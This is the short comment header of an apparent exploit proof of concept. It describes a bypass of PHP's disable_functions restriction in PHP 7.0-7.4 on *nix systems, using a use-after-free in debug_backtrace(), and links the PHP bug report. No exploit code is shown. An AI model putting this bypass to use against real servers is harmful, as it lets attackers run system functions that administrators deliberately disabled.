disable_functions bypass - PHP 7.0-7.4 (*nix only)

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)

# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
